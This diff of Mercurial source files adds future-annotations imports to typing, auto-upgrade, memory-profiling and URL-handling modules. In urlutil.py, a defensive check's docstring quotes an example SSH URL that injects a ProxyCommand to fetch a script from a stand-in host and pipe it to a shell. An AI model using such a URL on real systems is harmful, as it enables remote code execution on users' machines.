 # Copyright 2022 Matt Harbison <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
+from __future__ import annotations
+
 import typing
 
 from typing import (
     Callable,
 )
 
 # Note: this is slightly different from pycompat.TYPE_CHECKING, as using
 # pycompat causes the BinaryIO_Proxy type to be resolved to ``object`` when
 # used as the base class during a pytype run.
 TYPE_CHECKING = typing.TYPE_CHECKING
 
 
 # The BinaryIO class provides empty methods, which at runtime means that
 # ``__getattr__`` on the proxy classes won't get called for the methods that
 # should delegate to the internal object.  So to avoid runtime changes because
 # of the required typing inheritance, just use BinaryIO when typechecking, and
 # ``object`` otherwise.
 if TYPE_CHECKING:
     from typing import (
         BinaryIO,
         Union,
     )
 
     from . import (
         node,
         posix,
         windows,
     )
 
     BinaryIO_Proxy = BinaryIO
     CacheStat = Union[posix.cachestat, windows.cachestat]
     NodeConstants = node.sha1nodeconstants
 else:
     from typing import Any
 
     BinaryIO_Proxy = object
     CacheStat = Any
     NodeConstants = Any
 
 # scmutil.getuipathfn() related callback.
 UiPathFn = Callable[[bytes], bytes]

mercurial/upgrade_utils/auto_upgrade.py

@@ -1,254 +1,257
 # upgrade.py - functions for automatic upgrade of Mercurial repository
 #
 # Copyright (c) 2022-present, Pierre-Yves David
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
+
+from __future__ import annotations
+
 from ..i18n import _
 
 from .. import (
     error,
     requirements as requirementsmod,
     scmutil,
 )
 
 from . import (
     actions,
     engine,
 )
 
 
 class AutoUpgradeOperation(actions.BaseOperation):
     """A limited Upgrade Operation used to run simple auto upgrade task
 
     (Expand it as needed in the future)
     """
 
     def __init__(self, req):
         super().__init__(
             new_requirements=req,
             backup_store=False,
         )
 
 
 def get_share_safe_action(repo):
     """return an automatic-upgrade action for `share-safe` if applicable
 
     If no action is needed, return None, otherwise return a callback to upgrade
     or downgrade the repository according the configuration and repository
     format.
     """
     ui = repo.ui
     requirements = repo.requirements
     auto_upgrade_share_source = ui.configbool(
         b'format',
         b'use-share-safe.automatic-upgrade-of-mismatching-repositories',
     )
     auto_upgrade_quiet = ui.configbool(
         b'format',
         b'use-share-safe.automatic-upgrade-of-mismatching-repositories:quiet',
     )
 
     action = None
 
     if (
         auto_upgrade_share_source
         and requirementsmod.SHARED_REQUIREMENT not in requirements
     ):
         sf_config = ui.configbool(b'format', b'use-share-safe')
         sf_local = requirementsmod.SHARESAFE_REQUIREMENT in requirements
         if sf_config and not sf_local:
             msg = _(
                 b"automatically upgrading repository to the `share-safe`"
                 b" feature\n"
             )
             hint = b"(see `hg help config.format.use-share-safe` for details)\n"
 
             def action():
                 if not (ui.quiet or auto_upgrade_quiet):
                     ui.write_err(msg)
                     ui.write_err(hint)
                 requirements.add(requirementsmod.SHARESAFE_REQUIREMENT)
                 scmutil.writereporequirements(repo, requirements)
 
         elif sf_local and not sf_config:
             msg = _(
                 b"automatically downgrading repository from the `share-safe`"
                 b" feature\n"
             )
             hint = b"(see `hg help config.format.use-share-safe` for details)\n"
 
             def action():
                 if not (ui.quiet or auto_upgrade_quiet):
                     ui.write_err(msg)
                     ui.write_err(hint)
                 requirements.discard(requirementsmod.SHARESAFE_REQUIREMENT)
                 scmutil.writereporequirements(repo, requirements)
 
     return action
 
 
 def get_tracked_hint_action(repo):
     """return an automatic-upgrade action for `tracked-hint` if applicable
 
     If no action is needed, return None, otherwise return a callback to upgrade
     or downgrade the repository according the configuration and repository
     format.
     """
     ui = repo.ui
     requirements = set(repo.requirements)
     auto_upgrade_tracked_hint = ui.configbool(
         b'format',
         b'use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories',
     )
     auto_upgrade_quiet = ui.configbool(
         b'format',
         b'use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories:quiet',
     )
 
     action = None
 
     if auto_upgrade_tracked_hint:
         th_config = ui.configbool(b'format', b'use-dirstate-tracked-hint')
         th_local = requirementsmod.DIRSTATE_TRACKED_HINT_V1 in requirements
         if th_config and not th_local:
             msg = _(
                 b"automatically upgrading repository to the `tracked-hint`"
                 b" feature\n"
             )
             hint = b"(see `hg help config.format.use-dirstate-tracked-hint` for details)\n"
 
             def action():
                 if not (ui.quiet or auto_upgrade_quiet):
                     ui.write_err(msg)
                     ui.write_err(hint)
                 requirements.add(requirementsmod.DIRSTATE_TRACKED_HINT_V1)
                 op = AutoUpgradeOperation(requirements)
                 engine.upgrade_tracked_hint(ui, repo, op, add=True)
 
         elif th_local and not th_config:
             msg = _(
                 b"automatically downgrading repository from the `tracked-hint`"
                 b" feature\n"
             )
             hint = b"(see `hg help config.format.use-dirstate-tracked-hint` for details)\n"
 
             def action():
                 if not (ui.quiet or auto_upgrade_quiet):
                     ui.write_err(msg)
                     ui.write_err(hint)
                 requirements.discard(requirementsmod.DIRSTATE_TRACKED_HINT_V1)
                 op = AutoUpgradeOperation(requirements)
                 engine.upgrade_tracked_hint(ui, repo, op, add=False)
 
     return action
 
 
 def get_dirstate_v2_action(repo):
     """return an automatic-upgrade action for `dirstate-v2` if applicable
 
     If no action is needed, return None, otherwise return a callback to upgrade
     or downgrade the repository according the configuration and repository
     format.
     """
     ui = repo.ui
     requirements = set(repo.requirements)
     auto_upgrade_dv2 = ui.configbool(
         b'format',
         b'use-dirstate-v2.automatic-upgrade-of-mismatching-repositories',
     )
     auto_upgrade_dv2_quiet = ui.configbool(
         b'format',
         b'use-dirstate-v2.automatic-upgrade-of-mismatching-repositories:quiet',
     )
 
     action = None
 
     if auto_upgrade_dv2:
         d2_config = ui.configbool(b'format', b'use-dirstate-v2')
         d2_local = requirementsmod.DIRSTATE_V2_REQUIREMENT in requirements
         if d2_config and not d2_local:
             msg = _(
                 b"automatically upgrading repository to the `dirstate-v2`"
                 b" feature\n"
             )
             hint = (
                 b"(see `hg help config.format.use-dirstate-v2` for details)\n"
             )
 
             def action():
                 if not (ui.quiet or auto_upgrade_dv2_quiet):
                     ui.write_err(msg)
                     ui.write_err(hint)
                 requirements.add(requirementsmod.DIRSTATE_V2_REQUIREMENT)
                 fake_op = AutoUpgradeOperation(requirements)
                 engine.upgrade_dirstate(repo.ui, repo, fake_op, b'v1', b'v2')
 
         elif d2_local and not d2_config:
             msg = _(
                 b"automatically downgrading repository from the `dirstate-v2`"
                 b" feature\n"
             )
             hint = (
                 b"(see `hg help config.format.use-dirstate-v2` for details)\n"
             )
 
             def action():
                 if not (ui.quiet or auto_upgrade_dv2_quiet):
                     ui.write_err(msg)
                     ui.write_err(hint)
                 requirements.discard(requirementsmod.DIRSTATE_V2_REQUIREMENT)
                 fake_op = AutoUpgradeOperation(requirements)
                 engine.upgrade_dirstate(repo.ui, repo, fake_op, b'v2', b'v1')
 
     return action
 
 
 AUTO_UPGRADE_ACTIONS = [
     get_dirstate_v2_action,
     get_share_safe_action,
     get_tracked_hint_action,
 ]
 
 
 def may_auto_upgrade(repo, maker_func):
     """potentially perform auto-upgrade and return the final repository to use
 
     Auto-upgrade are "quick" repository upgrade that might automatically be run
     by "any" repository access. See `hg help config.format` for automatic
     upgrade documentation.
 
     note: each relevant upgrades are done one after the other for simplicity.
     This avoid having repository is partially inconsistent state while
     upgrading.
 
     repo: the current repository instance
     maker_func: a factory function that can recreate a repository after an upgrade
     """
     clear = False
 
     loop = 0
 
     try:
         while not clear:
             loop += 1
             if loop > 100:
                 # XXX basic protection against infinite loop, make it better.
                 raise error.ProgrammingError("Too many auto upgrade loops")
             clear = True
             for get_action in AUTO_UPGRADE_ACTIONS:
                 action = get_action(repo)
                 if action is not None:
                     clear = False
                     with repo.wlock(wait=False), repo.lock(wait=False):
                         action = get_action(repo)
                         if action is not None:
                             action()
                         repo = maker_func()
     except error.LockError:
         # if we cannot get the lock, ignore the auto-upgrade attemps and
         # proceed. We might want to make this behavior configurable in the
         # future.
         pass
 
     return repo

mercurial/utils/memorytop.py

@@ -1,44 +1,46
 # memorytop requires Python 3.4
 #
 # Usage: set PYTHONTRACEMALLOC=n in the environment of the hg invocation,
 # where n>= is the number of frames to show in the backtrace. Put calls to
 # memorytop in strategic places to show the current memory use by allocation
 # site.
 
+from __future__ import annotations
+
 import gc
 import tracemalloc
 
 
 def memorytop(limit=10):
     gc.collect()
     snapshot = tracemalloc.take_snapshot()
 
     snapshot = snapshot.filter_traces(
         (
             tracemalloc.Filter(False, "<frozen importlib._bootstrap>"),
             tracemalloc.Filter(False, "<frozen importlib._bootstrap_external>"),
             tracemalloc.Filter(False, "<unknown>"),
         )
     )
     stats = snapshot.statistics('traceback')
 
     total = sum(stat.size for stat in stats)
     print("\nTotal allocated size: %.1f KiB\n" % (total / 1024))
     print("Lines with the biggest net allocations")
     for index, stat in enumerate(stats[:limit], 1):
         print(
             "#%d: %d objects using %.1f KiB"
             % (index, stat.count, stat.size / 1024)
         )
         for line in stat.traceback.format(most_recent_first=True):
             print('    ', line)
 
     other = stats[limit:]
     if other:
         size = sum(stat.size for stat in other)
         count = sum(stat.count for stat in other)
         print(
             "%s other: %d objects using %.1f KiB"
             % (len(other), count, size / 1024)
         )
     print()

mercurial/utils/urlutil.py

@@ -1,971 +1,974
 # utils.urlutil - code related to [paths] management
 #
 # Copyright 2005-2023 Olivia Mackall <[e-mail]> and others
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
+
+from __future__ import annotations
+
 import os
 import re as remod
 import socket
 
 from typing import (
     Callable,
     Dict,
     Tuple,
     Union,
 )
 
 from ..i18n import _
 from .. import (
     encoding,
     error,
     pycompat,
     urllibcompat,
 )
 
 from . import (
     stringutil,
 )
 
 from ..revlogutils import (
     constants as revlog_constants,
 )
 
 # keeps pyflakes happy
 assert [Callable, Dict, Tuple, Union]
 
 urlreq = urllibcompat.urlreq
 
 
 def getport(port: Union[bytes, int]) -> int:
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(pycompat.sysstr(port))
     except socket.error:
         raise error.Abort(
             _(b"no port number associated with service '%s'") % port
         )
 
 
 class url:
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url(b'')
     <url path: ''>
     >>> url(b'#a')
     <url path: '', fragment: 'a'>
     >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url(b'http:')
     <url scheme: 'http'>
     """
 
     _safechars = b"!~*'()+"
     _safepchars = b"/!~*'()+:\\"
     _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(
         self,
         path: bytes,
         parsequery: bool = True,
         parsefragment: bool = True,
     ) -> None:
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = b''
         self._origpath = path
 
         if parsefragment and b'#' in path:
             path, self.fragment = path.split(b'#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith(b'\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith(b'bundle:'):
             self.scheme = b'bundle'
             path = path[7:]
             if path.startswith(b'//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(b':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = b''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and b'?' in path:
                 path, self.query = path.split(b'?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith(b'//'):
                 parts = path[2:].split(b'/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = b'/' + path
 
             if self.host and b'@' in self.host:
                 self.user, self.host = self.host.rsplit(b'@', 1)
                 if b':' in self.user:
                     self.user, self.passwd = self.user.split(b':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (
                 self.host
                 and b':' in self.host
                 and not (
                     self.host.startswith(b'[') and self.host.endswith(b']')
                 )
             ):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(b':', 1)
                 if not self.host:
                     self.host = None
 
             if (
                 self.host
                 and self.scheme == b'file'
                 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
             ):
                 raise error.Abort(
                     _(b'file:// URLs can only refer to localhost')
                 )
 
         self.path = path
 
         # leave the query string escaped
         for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     def copy(self):
         u = url(b'temporary useless value')
         u.path = self.path
         u.scheme = self.scheme
         u.user = self.user
         u.passwd = self.passwd
         u.host = self.host
         u.port = self.port
         u.query = self.query
         u.fragment = self.fragment
         u._localpath = self._localpath
         u._hostport = self._hostport
         u._origpath = self._origpath
         return u
 
     @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in (
             'scheme',
             'user',
             'passwd',
             'host',
             'port',
             'path',
             'query',
             'fragment',
         ):
             v = getattr(self, a)
             if v is not None:
                 line = b'%s: %r'
                 line %= (pycompat.bytestr(a), pycompat.bytestr(v))
                 attrs.append(line)
         return b'<url %s>' % b', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
         >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
         >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
         >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
         >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
         >>> bytes(url(b'path'))
         'path'
         >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
         >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == b'bundle':
                 s = b'bundle:' + s
             if self.fragment:
                 s += b'#' + self.fragment
             return s
 
         s = self.scheme + b':'
         if self.user or self.passwd or self.host:
             s += b'//'
         elif self.scheme and (
             not self.path
             or self.path.startswith(b'/')
             or hasdriveletter(self.path)
         ):
             s += b'//'
             if hasdriveletter(self.path):
                 s += b'/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += b'@'
         if self.host:
             if not (self.host.startswith(b'[') and self.host.endswith(b']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += b':' + urlreq.quote(self.port)
         if self.host:
             s += b'/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += b'?' + self.query
         if self.fragment is not None:
             s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host), self.user, self.passwd or b''))
 
     def isabs(self):
         if self.scheme and self.scheme != b'file':
             return True  # remote URL
         if hasdriveletter(self.path):
             return True  # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True  # Windows UNC path
         if self.path.startswith(b'/'):
             return True  # POSIX-style
         return False
 
     def localpath(self) -> bytes:
         if self.scheme == b'file' or self.scheme == b'bundle':
             path = self.path or b'/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + b'/' + self.path
             elif (
                 self.host is not None and self.path and not hasdriveletter(path)
             ):
                 path = b'/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (
             not self.scheme
             or self.scheme == b'file'
             or self.scheme == b'bundle'
         )
 
 
 def hasscheme(path: bytes) -> bool:
     return bool(url(path).scheme)  # cast to help pytype
 
 
 def hasdriveletter(path: bytes) -> bool:
     return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
 
 
 def urllocalpath(path: bytes) -> bytes:
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 
 def checksafessh(path: bytes) -> None:
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
         raise error.Abort(
             _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
         )
 
 
 def hidepassword(u: bytes) -> bytes:
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = b'***'
     return bytes(u)
 
 
 def removeauth(u: bytes) -> bytes:
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return bytes(u)
 
 
 def list_paths(ui, target_path=None):
     """list all the (name, paths) in the passed ui"""
     result = []
     if target_path is None:
         for name, paths in sorted(ui.paths.items()):
             for p in paths:
                 result.append((name, p))
 
     else:
         for path in ui.paths.get(target_path, []):
             result.append((target_path, path))
     return result
 
 
 def try_path(ui, url):
     """try to build a path from a url
 
     Return None if no Path could built.
     """
     try:
         # we pass the ui instance are warning might need to be issued
         return path(ui, None, rawloc=url)
     except ValueError:
         return None
 
 
 def get_push_paths(repo, ui, dests):
     """yields all the `path` selected as push destination by `dests`"""
     if not dests:
         if b'default-push' in ui.paths:
             for p in ui.paths[b'default-push']:
                 yield p.get_push_variant()
         elif b'default' in ui.paths:
             for p in ui.paths[b'default']:
                 yield p.get_push_variant()
         else:
             raise error.ConfigError(
                 _(b'default repository not configured!'),
                 hint=_(b"see 'hg help config.paths'"),
             )
     else:
         for dest in dests:
             if dest in ui.paths:
                 for p in ui.paths[dest]:
                     yield p.get_push_variant()
             else:
                 path = try_path(ui, dest)
                 if path is None:
                     msg = _(b'repository %s does not exist')
                     msg %= dest
                     raise error.RepoError(msg)
                 yield path.get_push_variant()
 
 
 def get_pull_paths(repo, ui, sources):
     """yields all the `(path, branch)` selected as pull source by `sources`"""
     if not sources:
         sources = [b'default']
     for source in sources:
         if source in ui.paths:
             for p in ui.paths[source]:
                 yield p
         else:
             p = path(ui, None, source, validate_path=False)
             yield p
 
 
 def get_unique_push_path(action, repo, ui, dest=None):
     """return a unique `path` or abort if multiple are found
 
     This is useful for command and action that does not support multiple
     destination (yet).
 
     The `action` parameter will be used for the error message.
     """
     if dest is None:
         dests = []
     else:
         dests = [dest]
     dests = list(get_push_paths(repo, ui, dests))
     if len(dests) != 1:
         if dest is None:
             msg = _(
                 b"default path points to %d urls while %s only supports one"
             )
             msg %= (len(dests), action)
         else:
             msg = _(b"path points to %d urls while %s only supports one: %s")
             msg %= (len(dests), action, dest)
         raise error.Abort(msg)
     return dests[0]
 
 
 def get_unique_pull_path_obj(action, ui, source=None):
     """return a unique `(path, branch)` or abort if multiple are found
 
     This is useful for command and action that does not support multiple
     destination (yet).
 
     The `action` parameter will be used for the error message.
 
     note: Ideally, this function would be called `get_unique_pull_path` to
     mirror the `get_unique_push_path`, but the name was already taken.
     """
     sources = []
     if source is not None:
         sources.append(source)
 
     pull_paths = list(get_pull_paths(None, ui, sources=sources))
     path_count = len(pull_paths)
     if path_count != 1:
         if source is None:
             msg = _(
                 b"default path points to %d urls while %s only supports one"
             )
             msg %= (path_count, action)
         else:
             msg = _(b"path points to %d urls while %s only supports one: %s")
             msg %= (path_count, action, source)
         raise error.Abort(msg)
     return pull_paths[0]
 
 
 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
     """return a unique `(url, branch)` or abort if multiple are found
 
     See `get_unique_pull_path_obj` for details.
     """
     path = get_unique_pull_path_obj(action, ui, source=source)
     return parseurl(path.rawloc, default_branches)
 
 
 def get_clone_path_obj(ui, source):
     """return the `(origsource, url, branch)` selected as clone source"""
     if source == b'':
         return None
     return get_unique_pull_path_obj(b'clone', ui, source=source)
 
 
 def get_clone_path(ui, source, default_branches=None):
     """return the `(origsource, url, branch)` selected as clone source"""
     path = get_clone_path_obj(ui, source)
     if path is None:
         return (b'', b'', (None, default_branches))
     if default_branches is None:
         default_branches = []
     branches = (path.branch, default_branches)
     return path.rawloc, path.loc, branches
 
 
 def parseurl(path, branches=None):
     '''parse url#branch, returning (url, (branch, branches))'''
     u = url(path)
     branch = None
     if u.fragment:
         branch = u.fragment
         u.fragment = None
     return bytes(u), (branch, branches or [])
 
 
 class paths(dict):
     """Represents a collection of paths and their configs.
 
     Data is initially derived from ui instances and the config files they have
     loaded.
     """
 
     def __init__(self, ui):
         dict.__init__(self)
 
         home_path = os.path.expanduser(b'~')
 
         for name, value in ui.configitems(b'paths', ignoresub=True):
             # No location is the same as not existing.
             if not value:
                 continue
             _value, sub_opts = ui.configsuboptions(b'paths', name)
             s = ui.configsource(b'paths', name)
             root_key = (name, value, s)
             root = ui._path_to_root.get(root_key, home_path)
 
             multi_url = sub_opts.get(b'multi-urls')
             if multi_url is not None and stringutil.parsebool(multi_url):
                 base_locs = stringutil.parselist(value)
             else:
                 base_locs = [value]
 
             paths = []
             for loc in base_locs:
                 loc = os.path.expandvars(loc)
                 loc = os.path.expanduser(loc)
                 if not hasscheme(loc) and not os.path.isabs(loc):
                     loc = os.path.normpath(os.path.join(root, loc))
                 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
                 paths.append(p)
             self[name] = paths
 
         for name, old_paths in sorted(self.items()):
             new_paths = []
             for p in old_paths:
                 new_paths.extend(_chain_path(p, ui, self))
             self[name] = new_paths
 
 
 _pathsuboptions: "Dict[bytes, Tuple[str, Callable]]" = {}
 # a dictionnary of methods that can be used to format a sub-option value
 path_suboptions_display = {}
 
 
 def pathsuboption(option: bytes, attr: str, display=pycompat.bytestr):
     """Decorator used to declare a path sub-option.
 
     Arguments are the sub-option name and the attribute it should set on
     ``path`` instances.
 
     The decorated function will receive as arguments a ``ui`` instance,
     ``path`` instance, and the string value of this option from the config.
     The function should return the value that will be set on the ``path``
     instance.
 
     The optional `display` argument is a function that can be used to format
     the value when displayed to the user (like in `hg paths` for example).
 
     This decorator can be used to perform additional verification of
     sub-options and to change the type of sub-options.
     """
     if isinstance(attr, bytes):
         msg = b'pathsuboption take `str` as "attr" argument, not `bytes`'
         raise TypeError(msg)
 
     def register(func):
         _pathsuboptions[option] = (attr, func)
         path_suboptions_display[option] = display
         return func
 
     return register
 
 
 def display_bool(value):
     """display a boolean suboption back to the user"""
     return b'yes' if value else b'no'
 
 
 @pathsuboption(b'pushurl', '_pushloc')
 def pushurlpathoption(ui, path, value):
     u = url(value)
     # Actually require a URL.
     if not u.scheme:
         msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
         msg %= (path.name, value)
         ui.warn(msg)
         return None
 
     # Don't support the #foo syntax in the push URL to declare branch to
     # push.
     if u.fragment:
         ui.warn(
             _(
                 b'("#fragment" in paths.%s:pushurl not supported; '
                 b'ignoring)\n'
             )
             % path.name
         )
         u.fragment = None
 
     return bytes(u)
 
 
 @pathsuboption(b'pushrev', 'pushrev')
 def pushrevpathoption(ui, path, value):
     return value
 
 
 SUPPORTED_BOOKMARKS_MODES = {
     b'default',
     b'mirror',
     b'ignore',
 }
 
 
 @pathsuboption(b'bookmarks.mode', 'bookmarks_mode')
 def bookmarks_mode_option(ui, path, value):
     if value not in SUPPORTED_BOOKMARKS_MODES:
         path_name = path.name
         if path_name is None:
             # this is an "anonymous" path, config comes from the global one
             path_name = b'*'
         msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
         msg %= (path_name, value)
         ui.warn(msg)
     if value == b'default':
         value = None
     return value
 
 
 DELTA_REUSE_POLICIES = {
     b'default': None,
     b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
     b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
     b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
 }
 DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items())
 
 
 @pathsuboption(
     b'pulled-delta-reuse-policy',
     'delta_reuse_policy',
     display=DELTA_REUSE_POLICIES_NAME.get,
 )
 def delta_reuse_policy(ui, path, value):
     if value not in DELTA_REUSE_POLICIES:
         path_name = path.name
         if path_name is None:
             # this is an "anonymous" path, config comes from the global one
             path_name = b'*'
         msg = _(
             b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
         )
         msg %= (path_name, value)
         ui.warn(msg)
     return DELTA_REUSE_POLICIES.get(value)
 
 
 @pathsuboption(b'multi-urls', 'multi_urls', display=display_bool)
 def multiurls_pathoption(ui, path, value):
     res = stringutil.parsebool(value)
     if res is None:
         ui.warn(
             _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
         )
         res = False
     return res
 
 
 def _chain_path(base_path, ui, paths):
     """return the result of "path://" logic applied on a given path"""
     new_paths = []
     if base_path.url.scheme != b'path':
         new_paths.append(base_path)
     else:
         assert base_path.url.path is None
         sub_paths = paths.get(base_path.url.host)
         if sub_paths is None:
             m = _(b'cannot use `%s`, "%s" is not a known path')
             m %= (base_path.rawloc, base_path.url.host)
             raise error.Abort(m)
         for subpath in sub_paths:
             path = base_path.copy()
             if subpath.raw_url.scheme == b'path':
                 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
                 m %= (path.rawloc, path.url.host)
                 raise error.Abort(m)
             path.url = subpath.url
             path.rawloc = subpath.rawloc
             path.loc = subpath.loc
             if path.branch is None:
                 path.branch = subpath.branch
             else:
                 base = path.rawloc.rsplit(b'#', 1)[0]
                 path.rawloc = b'%s#%s' % (base, path.branch)
             suboptions = subpath._all_sub_opts.copy()
             suboptions.update(path._own_sub_opts)
             path._apply_suboptions(ui, suboptions)
             new_paths.append(path)
     return new_paths
 
 
 class path:
     """Represents an individual path and its configuration."""
 
     def __init__(
         self,
         ui=None,
         name=None,
         rawloc=None,
         suboptions=None,
         validate_path=True,
     ):
         """Construct a path from its config options.
 
         ``ui`` is the ``ui`` instance the path is coming from.
